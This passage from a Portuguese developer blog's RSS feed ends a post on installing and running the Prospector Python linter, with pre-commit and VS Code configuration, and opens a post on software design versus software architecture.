&lt;p&gt;Tanto é interessante que um utilitário vem fazendo parte do &lt;em&gt;toolbelt&lt;/em&gt; dos desenvolvedores &lt;em&gt;Python&lt;/em&gt; nos últimos tempos justamente por desempenhar esse papel. Estamos falando, claro, do &lt;a href=&quot;https://prospector.readthedocs.io/en/master/&quot; title=&quot;Leia a documentação oficial&quot;&gt;&lt;em&gt;Prospector&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;One ring to rule them all&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Prospector&lt;/em&gt; é uma ferramenta &lt;a href=&quot;https://github.com/PyCQA/prospector/blob/master/LICENSE&quot; title=&quot;Confira mais no repositório do projeto&quot;&gt;livre&lt;/a&gt;, que analisa código &lt;em&gt;Python&lt;/em&gt; e retorna informações sobre potenciais problemas, erros de convenção de código, alertas sobre complexidade, etc.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/86cf2a69117e22c87b361033b5154429/07f3a/lsp-one-ring.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAECBP/EABUBAQEAAAAAAAAAAAAAAAAAAAAD/9oADAMBAAIQAxAAAAHDac6SaA//xAAaEAADAQADAAAAAAAAAAAAAAAAARECAxMi/9oACAEBAAEFAuPxqNnUhoy47T//xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAwEBPwGH/8QAFhEAAwAAAAAAAAAAAAAAAAAAARAR/9oACAECAQE/AaV//8QAGRAAAgMBAAAAAAAAAAAAAAAAABEBEDFh/9oACAEBAAY/AtFDXDbZ/8QAGxAAAgIDAQAAAAAAAAAAAAAAAAERITFBYVH/2gAIAQEAAT8hyFF9LaHB+lCZlUzp2bSP/9oADAMBAAIAAwAAABCTD//EABYRAQEBAAAAAAAAAAAAAAAAAAARAf/aAAgBAwEBPxCEx//EABcRAAMBAAAAAAAAAAAAAAAAAAABEVH/2gAIAQIBAT8QwZWf/8QAGxABAAMAAwEAAAAAAAAAAAAAAQARITFBUZH/2gAIAQEAAT8QBuoRQJTAWwLeHN68dS1qvGrmpKZk6zA8B+EyoW+T/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;O Um Anel&quot;
        title=&quot;Sauron faz um anel para juntar a todos. Bem parecido com a ideia do prospector (lego-lord-of-the-rings.wikia.com)&quot;
        src=&quot;/static/86cf2a69117e22c87b361033b5154429/07f3a/lsp-one-ring.jpg&quot;
        srcset=&quot;/static/86cf2a69117e22c87b361033b5154429/7809d/lsp-one-ring.jpg 192w,
/static/86cf2a69117e22c87b361033b5154429/4ecad/lsp-one-ring.jpg 384w,
/static/86cf2a69117e22c87b361033b5154429/07f3a/lsp-one-ring.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Sauron faz um anel para juntar a todos. Bem parecido com a ideia do prospector (lego-lord-of-the-rings.wikia.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ela agrega a funcionalidade de outras ferramentas de análise, como &lt;a href=&quot;/2011/09/06/assegura-a-qualidade-de-codigo-python-pylint.html&quot; title=&quot;Leia mais sobre o Pylint&quot;&gt;&lt;em&gt;Pylint&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/2011/08/26/assegure-qualidade-seu-codigo-python-pep.html&quot; title=&quot;Leia mais sobre PEP8&quot;&gt;&lt;em&gt;pep8&lt;/em&gt;&lt;/a&gt;, e disponibiliza algumas configurações padrões, permitindo assim um bom balanço entre cobertura x configuração.&lt;/p&gt;
&lt;p&gt;O &quot;lema&quot; do &lt;em&gt;Prospector&lt;/em&gt; é ser &quot;out of the box&quot;. Segundo a &lt;a href=&quot;https://prospector.readthedocs.io/en/master/&quot; title=&quot;Leia mais na documentação do Prospector&quot;&gt;documentação oficial&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A common complaint of other Python analysis tools is that it takes a long time to filter through which errors are relevant or interesting to your own coding style. Prospector provides some default profiles, which hopefully will provide a good starting point and will be useful straight away, and adapts the output depending on the libraries your project uses.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;No terminal&lt;/h2&gt;
&lt;p&gt;Para começar, precisamos instalar a ferramenta:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install prospector&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Por padrão o &lt;em&gt;Prospector&lt;/em&gt; utiliza os seguintes utilitários &quot;under the hood&quot;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Pylint&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;pep8&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2011/10/02/assegure-qualidade-seu-codigo-python-pyflakes.html&quot; title=&quot;Leia mais sobre o Pyflakes&quot;&gt;&lt;em&gt;pyflakes&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;mccabe&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2019/12/18/assegure-qualidade-seu-codigo-python-dodgy.html&quot; title=&quot;Leia mais sobre o Dodgy&quot;&gt;&lt;em&gt;dodgy&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;pydocstyle&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mas alguns extras (como &lt;em&gt;mypy&lt;/em&gt;) também estão disponíveis para instalação. Confira a &lt;a href=&quot;https://prospector.readthedocs.io/en/master/supported_tools.html&quot; title=&quot;Supported Tools&quot;&gt;lista completa de ferramentas suportadas&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ao executá-lo, ele apontará possíveis problemas em seu projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ prospector

Messages
========

my_app/views.py
  Line: 1
    pylint: unused-import / Unused render imported from django.shortcuts

manage.py
  Line: 10
    pylint: import-outside-toplevel / Import outside toplevel (django.core.management) (col 8)

my_project/settings.py
  Line: 23
    dodgy: secret / Possible hardcoded secret key

my_second_app/views.py
  Line: 1
    pylint: unused-import / Unused render imported from django.shortcuts



Check Information
=================
         Started: 2020-01-21 11:06:04.832118
        Finished: 2020-01-21 11:06:07.455090
      Time Taken: 2.62 seconds
       Formatter: grouped
        Profiles: default, no_doc_warnings, no_test_warnings, strictness_medium, strictness_high, strictness_veryhigh, no_member_warnings
      Strictness: None
  Libraries Used: django
       Tools Run: dodgy, mccabe, pep8, profile-validator, pyflakes, pylint
  Messages Found: 4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ainda é possível aumentar o nível de rigorosidade:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ prospector --strictness veryhigh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Utilizando-o com o &lt;a href=&quot;https://pre-commit.com/&quot; title=&quot;pre-commit hooks&quot;&gt;&lt;em&gt;pre-commit&lt;/em&gt;&lt;/a&gt;, tudo fica ainda mais dinâmico:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; git&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//github.com/guykisel/prospector&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;mirror
  &lt;span class=&quot;token key atrule&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Use the sha / tag you want to point at&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;hooks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; prospector&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;No VSCode&lt;/h2&gt;
&lt;p&gt;Admito que conheci o &lt;em&gt;Prospector&lt;/em&gt; por causa do &lt;a href=&quot;/2018/06/04/eu-me-rendo-vscode.html&quot; title=&quot;Eu me rendi ao VS Code&quot;&gt;&lt;em&gt;VS Code&lt;/em&gt;&lt;/a&gt;, e utilizá-lo com o editor é tão simples quanto o seu uso via linha de comando. Basta adicionar ao seu &lt;code class=&quot;language-text&quot;&gt;settings.json&lt;/code&gt; as seguintes diretivas:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;python.linting.enabled&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;python.linting.prospectorEnabled&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E após o editor resolver as dependências, ele passa a funcionar quase que magicamente.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/8e13f621213d5622fd01845b842f01ef/50383/prospector-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 31.770833333333332%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA5ElEQVQY012PB07EMBBF9zbEcU21Pc64JqEKWLj/XXAWtFKQnqz/Pf1CuBPCjypx5QkDwhyhvxy6ofbPsuWwrWlafefSMuAyTvPbNLx0Q7JY7FKOFzP4oiFqlzGtcd2r7cZIqDkVU+GFzLUFk150nslFdBWsu9zAqmV/hFoOp8l1GakSwoedXzuz12wqFiaRCaQVjlXXn/Z2DpXYnCZTkH02+Vv797Jdy/aVt6t1z9ru47wOUzHwNJlN9kGowFX4d7MT46rip9CPFnLIeyw7YAQMFqNxwYAPOYWSzBIptw9kvhf/AKGiSx+IsdSDAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de uso do Prospector + Dodgy + VS Code&quot;
        title=&quot;Exemplo de uso do Prospector + Dodgy + VS Code&quot;
        src=&quot;/static/8e13f621213d5622fd01845b842f01ef/50383/prospector-example.png&quot;
        srcset=&quot;/static/8e13f621213d5622fd01845b842f01ef/8514f/prospector-example.png 192w,
/static/8e13f621213d5622fd01845b842f01ef/804b2/prospector-example.png 384w,
/static/8e13f621213d5622fd01845b842f01ef/50383/prospector-example.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de uso do Prospector + Dodgy + VS Code&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Se você já está cansado de configurar diferentes ferramentas de &lt;em&gt;linting&lt;/em&gt; &lt;em&gt;Python&lt;/em&gt;, o &lt;em&gt;Prospector&lt;/em&gt; pode ser um bom utilitário para manter por perto.&lt;/p&gt;
&lt;p&gt;Tenho problemas com a &quot;verbosidade&quot; dele, mas acho que ele funciona bem com editores como o &lt;em&gt;VS Code&lt;/em&gt; (por exemplo). Se você quiser ser altamente criterioso em relação ao seu código, vale muito a pena testá-lo em seu processo de &lt;em&gt;pre-commit&lt;/em&gt; e durante o &lt;em&gt;build&lt;/em&gt; no &lt;em&gt;CI&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PyCQA/prospector/&quot;&gt;Github - prospector&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Software Design x Software Architecture]]></title><description><![CDATA[Uma das características que eu mais gosto no agile
é o conhecimento compartilhado nos times. E eu não falo apenas dos desenvolvedores…]]></description><link>https://klauslaube.com.br/2020/01/07/software-design-software-architecture.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/01/07/software-design-software-architecture.html</guid><pubDate>Tue, 07 Jan 2020 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Uma das características que eu mais gosto no &lt;a href=&quot;/tag/agile.html&quot; title=&quot;Leia mais sobre ágil&quot;&gt;&lt;em&gt;agile&lt;/em&gt;&lt;/a&gt;
é o conhecimento compartilhado nos times. E eu não falo apenas dos desenvolvedores generalistas,
falo também das responsabilidades que em um modelo mais parecido com o
&lt;em&gt;waterfall&lt;/em&gt; seriam atribuídas a um indivíduo apenas, mas que no ágil são diluídas na equipe.&lt;/p&gt;
&lt;p&gt;Como o time geralmente trabalha em um escopo focado,
com quem fica a responsabilidade da arquitetura de toda uma solução?
Quem pensa no longo prazo? Na comunicação entre serviços e componentes?&lt;/p&gt;
&lt;p&gt;Até onde vai a responsabilidade de &lt;em&gt;design&lt;/em&gt; e começa a de arquitetura?&lt;/p&gt;
&lt;h2&gt;Definição&lt;/h2&gt;
&lt;p&gt;Fundamentalmente, há distinção entre as disciplinas de &lt;em&gt;software design&lt;/em&gt; e
&lt;em&gt;software architecture&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Software design&lt;/strong&gt;: Foca nos aspectos mais &quot;baixo nível&quot; do sistema;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Software architecture&lt;/strong&gt;: Olha para aspectos mais &quot;alto nível&quot; do sistema.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 733px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/40c89cf82db1e91aeb3b2649da0e9dcf/b8220/matrix-filosofia.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.77083333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFA//EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAGZlTXhUuh//8QAGxAAAgIDAQAAAAAAAAAAAAAAAAIBEQMSM0H/2gAIAQEAAQUCm4X3RjKJ2s//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAZEAEAAgMAAAAAAAAAAAAAAAAAITEBEGH/2gAIAQEABj8ClClMc1//xAAbEAADAQADAQAAAAAAAAAAAAAAAREhMVFhkf/aAAgBAQABPyFoMUjwh6PgqcUS9Cp5cMKP/9oADAMBAAIAAwAAABADH//EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oACAEDAQE/EEf/xAAWEQEBAQAAAAAAAAAAAAAAAAAAARH/2gAIAQIBAT8QjH//xAAdEAEAAgICAwAAAAAAAAAAAAABABEhMVFhcZHh/9oACAEBAAE/EFYg0ghuKYb3KPohy+F8McUWOGKqdh6J/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Oráculo e Neo em The Matrix&quot;
        title=&quot;Calma! Não vamos misturar filosofia e programação. Mas piadas com o The Matrix estão liberadas (rottenmelon.tripod.com)&quot;
        src=&quot;/static/40c89cf82db1e91aeb3b2649da0e9dcf/b8220/matrix-filosofia.jpg&quot;
        srcset=&quot;/static/40c89cf82db1e91aeb3b2649da0e9dcf/7809d/matrix-filosofia.jpg 192w,
/static/40c89cf82db1e91aeb3b2649da0e9dcf/4ecad/matrix-filosofia.jpg 384w,
/static/40c89cf82db1e91aeb3b2649da0e9dcf/b8220/matrix-filosofia.jpg 733w&quot;
        sizes=&quot;(max-width: 733px) 100vw, 733px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Calma! Não vamos misturar filosofia e programação. Mas piadas com o The Matrix estão liberadas (rottenmelon.tripod.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Mesmo assim, não é raro misturarmos as duas responsabilidades e atribuí-las a um papel só. O que não é
necessariamente um problema, já que as disciplinas podem ser encaradas como o mesmo problema
em escalas diferentes.&lt;/p&gt;
&lt;h2&gt;Software Architecture&lt;/h2&gt;
&lt;p&gt;Definir arquitetura de &lt;em&gt;software&lt;/em&gt; é um desafio. O &lt;a href=&quot;https://pt.wikipedia.org/wiki/Arquitetura_de_software&quot; title=&quot;Arquitetura de Software no Wikipedia&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt; define o termo da seguinte forma:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) consiste na definição dos componentes de software, suas propriedades externas, e seus relacionamentos com outros softwares. O termo também se refere à documentação da arquitetura de software do sistema. A documentação da arquitetura do software facilita: a comunicação entre os stakeholders, registra as decisões iniciais acerca do projeto de alto-nível, e permite o reúso do projeto dos componentes e padrões entre projetos.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Eu me dou conta que estou nos &quot;domínios&quot; da arquitetura de &lt;em&gt;software&lt;/em&gt; quando estou debatendo as &quot;ilities&quot; de um projeto. Portanto, a definição do &lt;a href=&quot;https://codeburst.io/software-architecture-the-difference-between-architecture-and-design-7936abdd5830&quot; title=&quot;Software Architecture - The Difference Between Architecture and Design&quot;&gt;&lt;em&gt;Codeburst&lt;/em&gt;&lt;/a&gt; casa melhor com a minha compreensão sobre o assunto:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In simple words, software architecture is the process of converting software characteristics such as flexibility, scalability, feasibility, reusability, and security into a structured solution that meets the technical and the business expectations. This definition leads us to ask about the characteristics of a software that can affect a software architecture design. There is a long list of characteristics which mainly represent the business or the operational requirements, in addition to the technical requirements.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Portanto, quando há um requisito de produto que demanda rápida adaptação do modelo de negócios, pois a empresa ainda está procurando o seu &lt;em&gt;market fit&lt;/em&gt;, a solução poderia ser &lt;strong&gt;extensível&lt;/strong&gt;, &lt;strong&gt;modular&lt;/strong&gt; e de &lt;strong&gt;fácil alteração&lt;/strong&gt;. Essas qualidades possivelmente não se encaixarão em um projeto de perfil mais conservador, como um sistema bancário, por exemplo, que teria como uma provável &lt;em&gt;ility&lt;/em&gt; a &lt;strong&gt;segurança&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 734px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/a22b4a33ec2154486727e674c8461260/7043a/the-matrix-the-keymaker.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.14583333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAECAwQF/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAECA//aAAwDAQACEAMQAAAB5U1fm8Qyj//EABkQAQADAQEAAAAAAAAAAAAAAAEAAhIhA//aAAgBAQABBQKpL+SHJTld6io//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGhAAAgIDAAAAAAAAAAAAAAAAAAEQElFhcf/aAAgBAQAGPwITyots4M//xAAbEAEAAgIDAAAAAAAAAAAAAAABABExQSFRof/aAAgBAQABPyEKYBcWS8HUPceFMEAfUMr3P//aAAwDAQACAAMAAAAQzC//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAXEQEBAQEAAAAAAAAAAAAAAAABABEh/9oACAECAQE/EFxu3//EAB0QAQACAgIDAAAAAAAAAAAAAAEAESExUYFhccH/2gAIAQEAAT8QqyGC2oXiUOLvNNevsRAMirDfmbCaEE1wy6XABOXF66gJ0Xc//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;O Keymaker em The Matrix&quot;
        title=&quot;Quem tem que lidar com certificados no cotidiano reza para ter um Keymaker na empresa (reddit.com)&quot;
        src=&quot;/static/a22b4a33ec2154486727e674c8461260/7043a/the-matrix-the-keymaker.jpg&quot;
        srcset=&quot;/static/a22b4a33ec2154486727e674c8461260/7809d/the-matrix-the-keymaker.jpg 192w,
/static/a22b4a33ec2154486727e674c8461260/4ecad/the-matrix-the-keymaker.jpg 384w,
/static/a22b4a33ec2154486727e674c8461260/7043a/the-matrix-the-keymaker.jpg 734w&quot;
        sizes=&quot;(max-width: 734px) 100vw, 734px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Quem tem que lidar com certificados no cotidiano reza para ter um Keymaker na empresa (reddit.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_system_quality_attributes&quot; title=&quot;Veja a lista no Wikipedia&quot;&gt;Confira uma lista completa de &lt;em&gt;system quality attributes&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Esses aspectos são de responsabilidade do arquiteto de &lt;em&gt;software&lt;/em&gt; de levantar, debater, e de setar como &lt;em&gt;boundaries&lt;/em&gt; do projeto em questão. Sem dúvida elas passam a influenciar o &lt;em&gt;design&lt;/em&gt; dos componentes que serão construídos durante o tempo de projeto.&lt;/p&gt;
&lt;h3&gt;O arquiteto&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Kostadis Roussos&lt;/em&gt;, no breve (mas excelente) &lt;a href=&quot;https://medium.com/@kostadisroussos/21-architecturalist-papers-always-be-right-right-now-1552af8dc330&quot; title=&quot;Leia na íntegra no Medium&quot;&gt;&quot;21 architecturalist papers: always be right, right now.&quot;&lt;/a&gt; define o papel do arquiteto salientando o seguinte atributo:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An architect has visions of the future, and those visions are often years away from delivery, and worse, even more years away from solving any of the immediate problems engineering management has.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Segundo &lt;em&gt;Kostadis&lt;/em&gt;, o arquiteto precisa guiar o projeto para a direção correta. Dentro do contexto ágil, sabemos que essa direção pode mudar, mas ainda assim o arquiteto deve ser capaz de se adaptar a essa mudança, mudar o curso, e continuar fazendo com que o projeto siga o caminho certo.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 559px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/10180e9ff7784e48836fe0a7ef59f3c7/a65ce/the-architect.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
